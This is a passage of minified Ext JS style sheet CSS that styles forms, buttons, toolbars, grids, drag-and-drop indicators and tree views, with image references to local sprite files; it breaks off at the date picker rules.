.x-form-clear{clear:both;height:0;overflow:hidden;line-height:0;font-size:0;} .x-form-clear-left{clear:left;height:0;overflow:hidden;line-height:0;font-size:0;} .x-form-cb-label{width:'auto'!important;float:none!important;clear:none!important;display:inline!important;margin-left:4px;} .x-form-column{float:left;padding:0;margin:0;width:48%;overflow:hidden;zoom:1;} .x-form .x-form-btns-ct .x-btn{float:right;clear:none;} .x-form .x-form-btns-ct .x-form-btns td{border:0;padding:0;} .x-form .x-form-btns-ct .x-form-btns-right table{float:right;clear:none;} .x-form .x-form-btns-ct .x-form-btns-left table{float:left;clear:none;} .x-form .x-form-btns-ct .x-form-btns-center{text-align:center;} .x-form .x-form-btns-ct .x-form-btns-center table{margin:0 auto;} .x-form .x-form-btns-ct table td.x-form-btn-td{padding:3px;} .x-form .x-form-btns-ct .x-btn-focus .x-btn-left{background-position:0 -147px;} .x-form .x-form-btns-ct .x-btn-focus .x-btn-right{background-position:0 -168px;} .x-form .x-form-btns-ct .x-btn-focus .x-btn-center{background-position:0 -189px;} .x-form .x-form-btns-ct .x-btn-click .x-btn-center{background-position:0 -126px;} .x-form .x-form-btns-ct .x-btn-click .x-btn-right{background-position:0 -84px;} .x-form .x-form-btns-ct .x-btn-click .x-btn-left{background-position:0 -63px;} .x-form-invalid-icon{width:16px;height:18px;visibility:hidden;position:absolute;left:0;top:0;display:block;background:transparent url(../images/default/form/exclamation.gif) no-repeat 0 2px;} .x-fieldset{border:1px solid #B5B8C8;padding:10px;margin-bottom:10px;display:block;} .x-fieldset legend{font:bold 11px tahoma,arial,helvetica,sans-serif;color:#15428b;} .ext-ie .x-fieldset legend{margin-bottom:10px;} .ext-ie .x-fieldset{padding-top:0;padding-bottom:10px;} .x-fieldset legend .x-tool-toggle{margin-right:3px;margin-left:0;float:left!important;} .x-fieldset legend input{margin-right:3px;float:left!important;height:13px;width:13px;} fieldset.x-panel-collapsed{padding-bottom:0!important;border-width:1px 0 0 0!important;} fieldset.x-panel-collapsed .x-fieldset-bwrap{visibility:hidden;position:absolute;left:-1000px;top:-1000px;} .ext-ie .x-fieldset-bwrap{zoom:1;} .ext-ie td .x-form-text{position:relative;top:-1px;} .x-fieldset-noborder{border:0 none transparent;} .x-fieldset-noborder legend{margin-left:-3px;} .ext-ie .x-fieldset-noborder legend{position:relative;margin-bottom:23px;} .ext-ie .x-fieldset-noborder legend span{position:absolute;left:-5px;} .ext-gecko .x-window-body .x-form-item{-moz-outline:none;overflow:auto;} .ext-gecko .x-form-item{-moz-outline:none;} .x-hide-label label.x-form-item-label{display:none;} .x-hide-label .x-form-element{padding-left:0!important;} .x-fieldset{overflow:hidden;} .x-fieldset-bwrap{overflow:hidden;zoom:1;} .x-fieldset-body{overflow:hidden;} .x-btn{font:normal 11px tahoma,verdana,helvetica;cursor:pointer;white-space:nowrap;} .x-btn button{border:0 none;background:transparent;font:normal 11px tahoma,verdana,helvetica;padding-left:3px;padding-right:3px;cursor:pointer;margin:0;overflow:visible;width:auto;-moz-outline:0 none;outline:0 none;} * html .ext-ie .x-btn button{width:1px;} .ext-gecko .x-btn button{padding-left:0;padding-right:0;} .ext-ie .x-btn button{padding-top:2px;} .x-btn-icon .x-btn-center .x-btn-text{background-position:center;background-repeat:no-repeat;height:16px;width:16px;cursor:pointer;white-space:nowrap;padding:0;} .x-btn-icon .x-btn-center{padding:1px;} .x-btn em{font-style:normal;font-weight:normal;} .x-btn-text-icon .x-btn-center .x-btn-text{background-position:0 2px;background-repeat:no-repeat;padding-left:18px;padding-top:3px;padding-bottom:2px;padding-right:0;} .ext-gecko3 .x-btn-text-icon .x-btn-center .x-btn-text{padding-top:2px;} .x-btn-left,.x-btn-right{font-size:1px;line-height:1px;} .x-btn-left{width:3px;height:21px;background:url(../images/default/button/btn-sprite.gif) no-repeat 0 0;} .x-btn-right{width:3px;height:21px;background:url(../images/default/button/btn-sprite.gif) no-repeat 0 -21px;} .x-btn-left i,.x-btn-right i{display:block;width:3px;overflow:hidden;font-size:1px;line-height:1px;} .x-btn-center{background:url(../images/default/button/btn-sprite.gif) repeat-x 0 -42px;vertical-align:middle;text-align:center;padding:0 5px;cursor:pointer;white-space:nowrap;} .x-btn-over .x-btn-left{background-position:0 -63px;} .x-btn-over .x-btn-right{background-position:0 -84px;} .x-btn-over .x-btn-center{background-position:0 -105px;} .x-btn-click .x-btn-center,.x-btn-menu-active .x-btn-center{background-position:0 -126px;} .x-btn-disabled *{color:gray!important;cursor:default!important;} .x-btn-menu-text-wrap .x-btn-center{padding:0 3px;} .ext-gecko .x-btn-menu-text-wrap .x-btn-center{padding:0 1px;} .x-btn-menu-arrow-wrap .x-btn-center{padding:0;} .x-btn-menu-arrow-wrap .x-btn-center button{width:12px!important;height:21px;padding:0!important;display:block;background:transparent url(../images/default/button/btn-arrow.gif) no-repeat left 3px;} .x-btn-with-menu .x-btn-center{padding-right:2px!important;} .x-btn-with-menu .x-btn-center em{display:block;background:transparent url(../images/default/toolbar/btn-arrow.gif) no-repeat right 0;padding-right:10px;} .x-btn-text-icon .x-btn-with-menu .x-btn-center em{display:block;background:transparent url(../images/default/toolbar/btn-arrow.gif) no-repeat right 3px;padding-right:10px;} .x-btn-pressed .x-btn-left{background:url(../images/default/button/btn-sprite.gif) no-repeat 0 -63px;} .x-btn-pressed .x-btn-right{background:url(../images/default/button/btn-sprite.gif) no-repeat 0 -84px;} .x-btn-pressed .x-btn-center{background:url(../images/default/button/btn-sprite.gif) repeat-x 0 -126px;} .x-toolbar{border-color:#a9bfd3;border-style:solid;border-width:0 0 1px 0;display:block;padding:2px;background:#d0def0 url(../images/default/toolbar/bg.gif) repeat-x top left;position:relative;zoom:1;} .x-toolbar .x-item-disabled .x-btn-icon{opacity:.35;-moz-opacity:.35;filter:alpha(opacity=35);} .x-toolbar td{vertical-align:middle;} .mso .x-toolbar,.x-grid-mso .x-toolbar{border:0 none;background:url(../images/default/grid/mso-hd.gif);} .x-toolbar td,.x-toolbar span,.x-toolbar input,.x-toolbar div,.x-toolbar select,.x-toolbar label{white-space:nowrap;font:normal 11px tahoma,arial,helvetica,sans-serif;} .x-toolbar .x-item-disabled{color:gray;cursor:default;opacity:.6;-moz-opacity:.6;filter:alpha(opacity=60);} .x-toolbar .x-item-disabled *{color:gray;cursor:default;} .x-toolbar .x-btn-left{background:none;} .x-toolbar .x-btn-right{background:none;} .x-toolbar .x-btn-center{background:none;padding:0;} .x-toolbar .x-btn-menu-text-wrap .x-btn-center button{padding-right:2px;} .ext-gecko .x-toolbar .x-btn-menu-text-wrap .x-btn-center button{padding-right:0;} .x-toolbar .x-btn-menu-arrow-wrap .x-btn-center button{padding:0 2px;} .x-toolbar .x-btn-menu-arrow-wrap .x-btn-center button{width:12px;background:transparent url(../images/default/toolbar/btn-arrow.gif) no-repeat 0 3px;} .x-toolbar .x-btn-text-icon .x-btn-menu-arrow-wrap .x-btn-center button{width:12px;background:transparent url(../images/default/toolbar/btn-arrow.gif) no-repeat 0 3px;} .x-toolbar .x-btn-over .x-btn-menu-arrow-wrap .x-btn-center button{background-position:0 -47px;} .x-toolbar .x-btn-over .x-btn-left{background:url(../images/default/toolbar/tb-btn-sprite.gif) no-repeat 0 0;} .x-toolbar .x-btn-over .x-btn-right{background:url(../images/default/toolbar/tb-btn-sprite.gif) no-repeat 0 -21px;} .x-toolbar .x-btn-over .x-btn-center{background:url(../images/default/toolbar/tb-btn-sprite.gif) repeat-x 0 -42px;} .x-toolbar .x-btn-click .x-btn-left,.x-toolbar .x-btn-pressed .x-btn-left,.x-toolbar .x-btn-menu-active .x-btn-left{background:url(../images/default/toolbar/tb-btn-sprite.gif) no-repeat 0 -63px;} .x-toolbar .x-btn-click .x-btn-right,.x-toolbar .x-btn-pressed .x-btn-right,.x-toolbar .x-btn-menu-active .x-btn-right{background:url(../images/default/toolbar/tb-btn-sprite.gif) no-repeat 0 -84px;} .x-toolbar .x-btn-click .x-btn-center,.x-toolbar .x-btn-pressed .x-btn-center,.x-toolbar .x-btn-menu-active .x-btn-center{background:url(../images/default/toolbar/tb-btn-sprite.gif) repeat-x 0 -105px;} .x-toolbar .x-btn-with-menu .x-btn-center em{padding-right:8px;} .x-toolbar .ytb-text{padding:2px;} .x-toolbar .ytb-sep{background-image:url(../images/default/grid/grid-blue-split.gif);background-position:center;background-repeat:no-repeat;display:block;font-size:1px;height:16px;width:4px;overflow:hidden;cursor:default;margin:0 2px 0;border:0;} .x-toolbar .ytb-spacer{width:2px;} .x-tbar-page-number{width:24px;height:14px;} .x-tbar-page-first{background-image:url(../images/default/grid/page-first.gif)!important;} .x-tbar-loading{background-image:url(../images/default/grid/refresh.gif)!important;} .x-tbar-page-last{background-image:url(../images/default/grid/page-last.gif)!important;} .x-tbar-page-next{background-image:url(../images/default/grid/page-next.gif)!important;} .x-tbar-page-prev{background-image:url(../images/default/grid/page-prev.gif)!important;} .x-item-disabled .x-tbar-loading{background-image:url(../images/default/grid/loading.gif)!important;} .x-item-disabled .x-tbar-page-first{background-image:url(../images/default/grid/page-first-disabled.gif)!important;} .x-item-disabled .x-tbar-page-last{background-image:url(../images/default/grid/page-last-disabled.gif)!important;} .x-item-disabled .x-tbar-page-next{background-image:url(../images/default/grid/page-next-disabled.gif)!important;} .x-item-disabled .x-tbar-page-prev{background-image:url(../images/default/grid/page-prev-disabled.gif)!important;} .x-paging-info{position:absolute;top:5px;right:8px;color:#444;} .x-statusbar .x-status-text{height:21px;line-height:21px;padding:0 4px;cursor:default;} .x-statusbar .x-status-busy{padding-left:25px;background:transparent url(../images/default/grid/loading.gif) no-repeat 3px 3px;} .x-statusbar .x-status-text-panel{border-top:1px solid #99BBE8;border-right:1px solid #fff;border-bottom:1px solid #fff;border-left:1px solid #99BBE8;padding:2px 8px 2px 5px;} .x-resizable-handle{position:absolute;z-index:100;font-size:1px;line-height:6px;overflow:hidden;background:white;filter:alpha(opacity=0);opacity:0;zoom:1;} .x-resizable-handle-east{width:6px;cursor:e-resize;right:0;top:0;height:100%;} .ext-ie .x-resizable-handle-east{margin-right:-1px;} .x-resizable-handle-south{width:100%;cursor:s-resize;left:0;bottom:0;height:6px;} .ext-ie .x-resizable-handle-south{margin-bottom:-1px;} .x-resizable-handle-west{width:6px;cursor:w-resize;left:0;top:0;height:100%;} .x-resizable-handle-north{width:100%;cursor:n-resize;left:0;top:0;height:6px;} .x-resizable-handle-southeast{width:6px;cursor:se-resize;right:0;bottom:0;height:6px;z-index:101;} .x-resizable-handle-northwest{width:6px;cursor:nw-resize;left:0;top:0;height:6px;z-index:101;} .x-resizable-handle-northeast{width:6px;cursor:ne-resize;right:0;top:0;height:6px;z-index:101;} .x-resizable-handle-southwest{width:6px;cursor:sw-resize;left:0;bottom:0;height:6px;z-index:101;} .x-resizable-over .x-resizable-handle,.x-resizable-pinned .x-resizable-handle{filter:alpha(opacity=100);opacity:1;} .x-resizable-over .x-resizable-handle-east,.x-resizable-pinned .x-resizable-handle-east{background:url(../images/default/sizer/e-handle.gif);background-position:left;} .x-resizable-over .x-resizable-handle-west,.x-resizable-pinned .x-resizable-handle-west{background:url(../images/default/sizer/e-handle.gif);background-position:left;} .x-resizable-over .x-resizable-handle-south,.x-resizable-pinned .x-resizable-handle-south{background:url(../images/default/sizer/s-handle.gif);background-position:top;} .x-resizable-over .x-resizable-handle-north,.x-resizable-pinned .x-resizable-handle-north{background:url(../images/default/sizer/s-handle.gif);background-position:top;} .x-resizable-over .x-resizable-handle-southeast,.x-resizable-pinned .x-resizable-handle-southeast{background:url(../images/default/sizer/se-handle.gif);background-position:top left;} .x-resizable-over .x-resizable-handle-northwest,.x-resizable-pinned .x-resizable-handle-northwest{background:url(../images/default/sizer/nw-handle.gif);background-position:bottom right;} .x-resizable-over .x-resizable-handle-northeast,.x-resizable-pinned .x-resizable-handle-northeast{background:url(../images/default/sizer/ne-handle.gif);background-position:bottom left;} .x-resizable-over .x-resizable-handle-southwest,.x-resizable-pinned .x-resizable-handle-southwest{background:url(../images/default/sizer/sw-handle.gif);background-position:top right;} .x-resizable-proxy{border:1px dashed #3b5a82;position:absolute;overflow:hidden;display:none;left:0;top:0;z-index:50000;} .x-resizable-overlay{width:100%;height:100%;display:none;position:absolute;left:0;top:0;background:white;z-index:200000;-moz-opacity:0;opacity:0;filter:alpha(opacity=0);} .x-grid3{position:relative;overflow:hidden;background-color:#fff;} .x-grid-panel .x-panel-body{overflow:hidden!important;} .x-grid-panel .x-panel-mc .x-panel-body{border:1px solid #99bbe8;} .x-grid3 table{table-layout:fixed;} .x-grid3-viewport{overflow:hidden;} .x-grid3-hd-row td,.x-grid3-row td,.x-grid3-summary-row td{font:normal 11px arial,tahoma,helvetica,sans-serif;-moz-outline:none;-moz-user-focus:normal;} .x-grid3-row td,.x-grid3-summary-row td{line-height:13px;vertical-align:top;padding-left:1px;padding-right:1px;-moz-user-select:none;} .x-grid3-hd-row td{line-height:15px;vertical-align:middle;border-left:1px solid #eee;border-right:1px solid #d0d0d0;} .x-grid3-hd-row .x-grid3-marker-hd{padding:3px;} .x-grid3-row .x-grid3-marker{padding:3px;} .x-grid3-cell-inner,.x-grid3-hd-inner{overflow:hidden;-o-text-overflow:ellipsis;text-overflow:ellipsis;padding:3px 3px 3px 5px;white-space:nowrap;} .x-grid3-hd-inner{position:relative;cursor:inherit;padding:4px 3px 4px 5px;} .x-grid3-row-body{white-space:normal;} .x-grid3-body-cell{-moz-outline:0 none;outline:0 none;} .ext-ie .x-grid3-cell-inner,.ext-ie .x-grid3-hd-inner{width:100%;} .ext-strict .x-grid3-cell-inner,.ext-strict .x-grid3-hd-inner{width:auto;} .x-grid-row-loading{background:#fff url(../images/default/shared/loading-balls.gif) no-repeat center center;} .x-grid-page{overflow:hidden;} .x-grid3-row{cursor:default;border:1px solid #ededed;border-top-color:#fff;width:100%;} .x-grid3-row-alt{background-color:#fafafa;} .x-grid3-row-over{border:1px solid #ddd;background:#efefef url(../images/default/grid/row-over.gif) repeat-x left top;} .x-grid3-resize-proxy{width:1px;left:0;background-color:#777;cursor:e-resize;cursor:col-resize;position:absolute;top:0;height:100px;overflow:hidden;visibility:hidden;border:0 none;z-index:7;} .x-grid3-resize-marker{width:1px;left:0;background-color:#777;position:absolute;top:0;height:100px;overflow:hidden;visibility:hidden;border:0 none;z-index:7;} .x-grid3-focus{position:absolute;left:0;top:0;width:1px;height:1px;line-height:1px;font-size:1px;-moz-outline:0 none;outline:0 none;-moz-user-select:text;-khtml-user-select:text;} .x-grid3-header{background:#f9f9f9 url(../images/default/grid/grid3-hrow.gif) repeat-x 0 bottom;cursor:default;zoom:1;padding:1px 0 0 0;} .x-grid3-header-pop{border-left:1px solid #d0d0d0;float:right;clear:none;} .x-grid3-header-pop-inner{border-left:1px solid #eee;width:14px;height:19px;background:transparent url(../images/default/grid/hd-pop.gif) no-repeat center center;} .ext-ie .x-grid3-header-pop-inner{width:15px;} .ext-strict .x-grid3-header-pop-inner{width:14px;} .x-grid3-header-inner{overflow:hidden;zoom:1;float:left;} .x-grid3-header-offset{padding-left:1px;width:10000px;} td.x-grid3-hd-over,td.sort-desc,td.sort-asc,td.x-grid3-hd-menu-open{border-left:1px solid #aaccf6;border-right:1px solid #aaccf6;} td.x-grid3-hd-over .x-grid3-hd-inner,td.sort-desc .x-grid3-hd-inner,td.sort-asc .x-grid3-hd-inner,td.x-grid3-hd-menu-open .x-grid3-hd-inner{background:#ebf3fd url(../images/default/grid/grid3-hrow-over.gif) repeat-x left bottom;} .x-grid3-sort-icon{background-repeat:no-repeat;display:none;height:4px;width:13px;margin-left:3px;vertical-align:middle;} .sort-asc .x-grid3-sort-icon{background-image:url(../images/default/grid/sort_asc.gif);display:inline;} .sort-desc .x-grid3-sort-icon{background-image:url(../images/default/grid/sort_desc.gif);display:inline;} .ext-strict .ext-ie .x-grid3-header-inner{position:relative;} .ext-strict .ext-ie6 .x-grid3-hd{position:relative;} .ext-strict .ext-ie6 .x-grid3-hd-inner{position:static;} .x-grid3-body{zoom:1;} .x-grid3-scroller{overflow:auto;zoom:1;position:relative;} .x-grid3-cell-text,.x-grid3-hd-text{display:block;padding:3px 5px 3px 5px;-moz-user-select:none;-khtml-user-select:none;color:black;} .x-grid3-split{background-image:url(../images/default/grid/grid-split.gif);background-position:center;background-repeat:no-repeat;cursor:e-resize;cursor:col-resize;display:block;font-size:1px;height:16px;overflow:hidden;position:absolute;top:2px;width:6px;z-index:3;} .x-grid3-hd-text{color:#15428b;} .x-dd-drag-proxy .x-grid3-hd-inner{background:#ebf3fd url(../images/default/grid/grid3-hrow-over.gif) repeat-x left bottom;width:120px;padding:3px;border:1px solid #aaccf6;overflow:hidden;} .col-move-top,.col-move-bottom{width:9px;height:9px;position:absolute;top:0;line-height:1px;font-size:1px;overflow:hidden;visibility:hidden;z-index:20000;} .col-move-top{background:transparent url(../images/default/grid/col-move-top.gif) no-repeat left top;} .col-move-bottom{background:transparent url(../images/default/grid/col-move-bottom.gif) no-repeat left top;} .x-grid3-row-selected{background:#DFE8F6!important;border:1px dotted #a3bae9;} .x-grid3-cell-selected{background-color:#B8CFEE!important;color:black;} .x-grid3-cell-selected span{color:black!important;} .x-grid3-cell-selected .x-grid3-cell-text{color:black;} .x-grid3-locked td.x-grid3-row-marker,.x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker{background:#ebeadb url(../images/default/grid/grid-hrow.gif) repeat-x 0 bottom!important;vertical-align:middle!important;color:black;padding:0;border-top:1px solid white;border-bottom:none!important;border-right:1px solid #6fa0df!important;text-align:center;} .x-grid3-locked td.x-grid3-row-marker div,.x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker div{padding:0 4px;color:#15428b!important;text-align:center;} .x-grid3-dirty-cell{background:transparent url(../images/default/grid/dirty.gif) no-repeat 0 0;} .x-grid3-topbar,.x-grid3-bottombar{font:normal 11px arial,tahoma,helvetica,sans-serif;overflow:hidden;display:none;zoom:1;position:relative;} .x-grid3-topbar .x-toolbar{border-right:0 none;} .x-grid3-bottombar .x-toolbar{border-right:0 none;border-bottom:0 none;border-top:1px solid #a9bfd3;} .x-props-grid .x-grid3-cell{padding:1px;} .x-props-grid .x-grid3-td-name .x-grid3-cell-inner{background:transparent url(../images/default/grid/grid3-special-col-bg.gif) repeat-y -16px!important;padding-left:12px;color:black!important;} .x-props-grid .x-grid3-body .x-grid3-td-name{padding:1px;padding-right:0;background:white!important;border:0 none;border-right:1px solid #eee;} .xg-hmenu-sort-asc .x-menu-item-icon{background-image:url(../images/default/grid/hmenu-asc.gif);} .xg-hmenu-sort-desc .x-menu-item-icon{background-image:url(../images/default/grid/hmenu-desc.gif);} .xg-hmenu-lock .x-menu-item-icon{background-image:url(../images/default/grid/hmenu-lock.gif);} .xg-hmenu-unlock .x-menu-item-icon{background-image:url(../images/default/grid/hmenu-unlock.gif);} .x-grid3-col-dd{border:0 none;padding:0;background:transparent;} .x-dd-drag-ghost .x-grid3-dd-wrap{padding:1px 3px 3px 1px;} .x-grid3-hd{-moz-user-select:none;} .x-grid3-hd-btn{display:none;position:absolute;width:14px;background:#c3daf9 url(../images/default/grid/grid3-hd-btn.gif) no-repeat left center;right:0;top:0;z-index:2;cursor:pointer;} .x-grid3-hd-over .x-grid3-hd-btn,.x-grid3-hd-menu-open .x-grid3-hd-btn{display:block;} a.x-grid3-hd-btn:hover{background-position:-14px center;} .x-grid3-body .x-grid3-td-expander{background:transparent url(../images/default/grid/grid3-special-col-bg.gif) repeat-y right;} .x-grid3-body .x-grid3-td-expander .x-grid3-cell-inner{padding:0!important;height:100%;} .x-grid3-row-expander{width:100%;height:18px;background-position:4px 2px;background-repeat:no-repeat;background-color:transparent;background-image:url(../images/default/grid/row-expand-sprite.gif);} .x-grid3-row-collapsed .x-grid3-row-expander{background-position:4px 2px;} .x-grid3-row-expanded .x-grid3-row-expander{background-position:-21px 2px;} .x-grid3-row-collapsed .x-grid3-row-body{display:none!important;} .x-grid3-row-expanded .x-grid3-row-body{display:block!important;} .x-grid3-body .x-grid3-td-checker{background:transparent url(../images/default/grid/grid3-special-col-bg.gif) repeat-y right;} .x-grid3-body .x-grid3-td-checker .x-grid3-cell-inner,.x-grid3-header .x-grid3-td-checker .x-grid3-hd-inner{padding:0!important;height:100%;} .x-grid3-row-checker,.x-grid3-hd-checker{width:100%;height:18px;background-position:2px 2px;background-repeat:no-repeat;background-color:transparent;background-image:url(../images/default/grid/row-check-sprite.gif);} .x-grid3-row .x-grid3-row-checker{background-position:2px 2px;} .x-grid3-row-selected .x-grid3-row-checker,.x-grid3-hd-checker-on .x-grid3-hd-checker{background-position:-23px 2px;} .x-grid3-hd-checker{background-position:2px 3px;} .x-grid3-hd-checker-on .x-grid3-hd-checker{background-position:-23px 3px;} .x-grid3-body .x-grid3-td-numberer{background:transparent url(../images/default/grid/grid3-special-col-bg.gif) repeat-y right;} .x-grid3-body .x-grid3-td-numberer .x-grid3-cell-inner{padding:3px 5px 0 0!important;text-align:right;color:#444;} .x-grid3-body .x-grid3-row-selected .x-grid3-td-numberer,.x-grid3-body .x-grid3-row-selected .x-grid3-td-checker,.x-grid3-body .x-grid3-row-selected .x-grid3-td-expander{background:transparent url(../images/default/grid/grid3-special-col-sel-bg.gif) repeat-y right;} .x-grid3-body .x-grid3-check-col-td .x-grid3-cell-inner{padding:1px 0 0 0!important;} .x-grid3-check-col{width:100%;height:16px;background-position:center center;background-repeat:no-repeat;background-color:transparent;background-image:url(../images/default/menu/unchecked.gif);} .x-grid3-check-col-on{width:100%;height:16px;background-position:center center;background-repeat:no-repeat;background-color:transparent;background-image:url(../images/default/menu/checked.gif);} .x-grid-group,.x-grid-group-body,.x-grid-group-hd{zoom:1;} .x-grid-group-hd{border-bottom:2px solid #99bbe8;cursor:pointer;padding-top:6px;} .x-grid-group-hd div{background:transparent url(../images/default/grid/group-expand-sprite.gif) no-repeat 3px -47px;padding:4px 4px 4px 17px;color:#3764a0;font:bold 11px tahoma,arial,helvetica,sans-serif;} .x-grid-group-collapsed .x-grid-group-hd div{background-position:3px 3px;} .x-grid-group-collapsed .x-grid-group-body{display:none;} .x-group-by-icon{background-image:url(../images/default/grid/group-by.gif);} .x-cols-icon{background-image:url(../images/default/grid/columns.gif);} .x-show-groups-icon{background-image:url(../images/default/grid/group-by.gif);} .ext-ie .x-grid3 .x-editor .x-form-text{position:relative;top:-1px;} .ext-ie .x-props-grid .x-editor .x-form-text{position:static;top:0;} .x-grid-empty{padding:10px;color:gray;font:normal 11px tahoma,arial,helvetica,sans-serif;} .ext-ie7 .x-grid-panel .x-panel-bbar{position:relative;} .x-dd-drag-proxy{position:absolute;left:0;top:0;visibility:hidden;z-index:15000;} .x-dd-drag-ghost{color:black;font:normal 11px arial,helvetica,sans-serif;-moz-opacity:0.85;opacity:.85;filter:alpha(opacity=85);border-top:1px solid #ddd;border-left:1px solid #ddd;border-right:1px solid #bbb;border-bottom:1px solid #bbb;padding:3px;padding-left:20px;background-color:white;white-space:nowrap;} .x-dd-drag-repair .x-dd-drag-ghost{-moz-opacity:0.4;opacity:.4;filter:alpha(opacity=40);border:0 none;padding:0;background-color:transparent;} .x-dd-drag-repair .x-dd-drop-icon{visibility:hidden;} .x-dd-drop-icon{position:absolute;top:3px;left:3px;display:block;width:16px;height:16px;background-color:transparent;background-position:center;background-repeat:no-repeat;z-index:1;} .x-dd-drop-nodrop .x-dd-drop-icon{background-image:url(../images/default/dd/drop-no.gif);} .x-dd-drop-ok .x-dd-drop-icon{background-image:url(../images/default/dd/drop-yes.gif);} .x-dd-drop-ok-add .x-dd-drop-icon{background-image:url(../images/default/dd/drop-add.gif);} .x-view-selector{position:absolute;left:0;top:0;width:0;background:#c3daf9;border:1px dotted #39b;opacity:.5;-moz-opacity:.5;filter:alpha(opacity=50);zoom:1;} .x-tree .x-panel-body{background-color:#fff;} .ext-strict .ext-ie .x-tree .x-panel-bwrap{position:relative;overflow:hidden;} .x-tree-icon,.x-tree-ec-icon,.x-tree-elbow-line,.x-tree-elbow,.x-tree-elbow-end,.x-tree-elbow-plus,.x-tree-elbow-minus,.x-tree-elbow-end-plus,.x-tree-elbow-end-minus{border:0 none;height:18px;margin:0;padding:0;vertical-align:top;width:16px;background-repeat:no-repeat;} .x-tree-node-collapsed .x-tree-node-icon,.x-tree-node-expanded .x-tree-node-icon,.x-tree-node-leaf .x-tree-node-icon{border:0 none;height:18px;margin:0;padding:0;vertical-align:top;width:16px;background-position:center;background-repeat:no-repeat;} .ext-ie .x-tree-node-indent img,.ext-ie .x-tree-node-icon,.ext-ie .x-tree-ec-icon{vertical-align:middle!important;} .x-tree-node-expanded .x-tree-node-icon{background-image:url(../images/default/tree/folder-open.gif);} .x-tree-node-leaf .x-tree-node-icon{background-image:url(../images/default/tree/leaf.gif);} .x-tree-node-collapsed .x-tree-node-icon{background-image:url(../images/default/tree/folder.gif);} .ext-ie input.x-tree-node-cb{width:15px;height:15px;} input.x-tree-node-cb{margin-left:1px;} .ext-ie input.x-tree-node-cb{margin-left:0;} .x-tree-noicon .x-tree-node-icon{width:0;height:0;} .x-tree-node-loading .x-tree-node-icon{background-image:url(../images/default/tree/loading.gif)!important;} .x-tree-node-loading a span{font-style:italic;color:#444;} .ext-ie .x-tree-node-el input{width:15px;height:15px;} .x-tree-lines .x-tree-elbow{background-image:url(../images/default/tree/elbow.gif);} .x-tree-lines .x-tree-elbow-plus{background-image:url(../images/default/tree/elbow-plus.gif);} .x-tree-lines .x-tree-elbow-minus{background-image:url(../images/default/tree/elbow-minus.gif);} .x-tree-lines .x-tree-elbow-end{background-image:url(../images/default/tree/elbow-end.gif);} .x-tree-lines .x-tree-elbow-end-plus{background-image:url(../images/default/tree/elbow-end-plus.gif);} .x-tree-lines .x-tree-elbow-end-minus{background-image:url(../images/default/tree/elbow-end-minus.gif);} .x-tree-lines .x-tree-elbow-line{background-image:url(../images/default/tree/elbow-line.gif);} .x-tree-no-lines .x-tree-elbow{background:transparent;} .x-tree-no-lines .x-tree-elbow-plus{background-image:url(../images/default/tree/elbow-plus-nl.gif);} .x-tree-no-lines .x-tree-elbow-minus{background-image:url(../images/default/tree/elbow-minus-nl.gif);} .x-tree-no-lines .x-tree-elbow-end{background:transparent;} .x-tree-no-lines .x-tree-elbow-end-plus{background-image:url(../images/default/tree/elbow-end-plus-nl.gif);} .x-tree-no-lines .x-tree-elbow-end-minus{background-image:url(../images/default/tree/elbow-end-minus-nl.gif);} .x-tree-no-lines .x-tree-elbow-line{background:transparent;} .x-tree-arrows .x-tree-elbow{background:transparent;} .x-tree-arrows .x-tree-elbow-plus{background:transparent url(../images/default/tree/arrows.gif) no-repeat 0 0;} .x-tree-arrows .x-tree-elbow-minus{background:transparent url(../images/default/tree/arrows.gif) no-repeat -16px 0;} .x-tree-arrows .x-tree-elbow-end{background:transparent;} .x-tree-arrows .x-tree-elbow-end-plus{background:transparent url(../images/default/tree/arrows.gif) no-repeat 0 0;} .x-tree-arrows .x-tree-elbow-end-minus{background:transparent url(../images/default/tree/arrows.gif) no-repeat -16px 0;} .x-tree-arrows .x-tree-elbow-line{background:transparent;} .x-tree-arrows .x-tree-ec-over .x-tree-elbow-plus{background-position:-32px 0;} .x-tree-arrows .x-tree-ec-over .x-tree-elbow-minus{background-position:-48px 0;} .x-tree-arrows .x-tree-ec-over .x-tree-elbow-end-plus{background-position:-32px 0;} .x-tree-arrows .x-tree-ec-over .x-tree-elbow-end-minus{background-position:-48px 0;} .x-tree-elbow-plus,.x-tree-elbow-minus,.x-tree-elbow-end-plus,.x-tree-elbow-end-minus{cursor:pointer;} .ext-ie ul.x-tree-node-ct{font-size:0;line-height:0;zoom:1;} .x-tree-node{color:black;font:normal 11px arial,tahoma,helvetica,sans-serif;white-space:nowrap;} .x-tree-node-el{line-height:18px;cursor:pointer;} .x-tree-node a,.x-dd-drag-ghost a{text-decoration:none;color:black;-khtml-user-select:none;-moz-user-select:none;-kthml-user-focus:normal;-moz-user-focus:normal;-moz-outline:0 none;outline:0 none;} .x-tree-node a span,.x-dd-drag-ghost a span{text-decoration:none;color:black;padding:1px 3px 1px 2px;} .x-tree-node .x-tree-node-disabled a span{color:gray!important;} .x-tree-node .x-tree-node-disabled .x-tree-node-icon{-moz-opacity:0.5;opacity:.5;filter:alpha(opacity=50);} .x-tree-node .x-tree-node-inline-icon{background:transparent;} .x-tree-node a:hover,.x-dd-drag-ghost a:hover{text-decoration:none;} .x-tree-node div.x-tree-drag-insert-below{border-bottom:1px dotted #36c;} .x-tree-node div.x-tree-drag-insert-above{border-top:1px dotted #36c;} .x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below{border-bottom:0 none;} .x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above{border-top:0 none;} .x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below a{border-bottom:2px solid #36c;} .x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above a{border-top:2px solid #36c;} .x-tree-node .x-tree-drag-append a span{background:#ddd;border:1px dotted gray;} .x-tree-node .x-tree-node-over{background-color:#eee;} .x-tree-node .x-tree-selected{background-color:#d9e8fb;} .x-dd-drag-ghost .x-tree-node-indent,.x-dd-drag-ghost .x-tree-ec-icon{display:none!important;} .x-tree-drop-ok-append .x-dd-drop-icon{background-image:url(../images/default/tree/drop-add.gif);} .x-tree-drop-ok-above .x-dd-drop-icon{background-image:url(../images/default/tree/drop-over.gif);} .x-tree-drop-ok-below .x-dd-drop-icon{background-image:url(../images/default/tree/drop-under.gif);} .x-tree-drop-ok-between .x-dd-drop-icon{background-image:url(../images/default/tree/drop-between.gif);} .x-tree-root-ct{zoom:1;} .x-date-picker{border:1px solid #1b376c;border-top:0 none;background:#fff;position:relative;} .x-date-picker 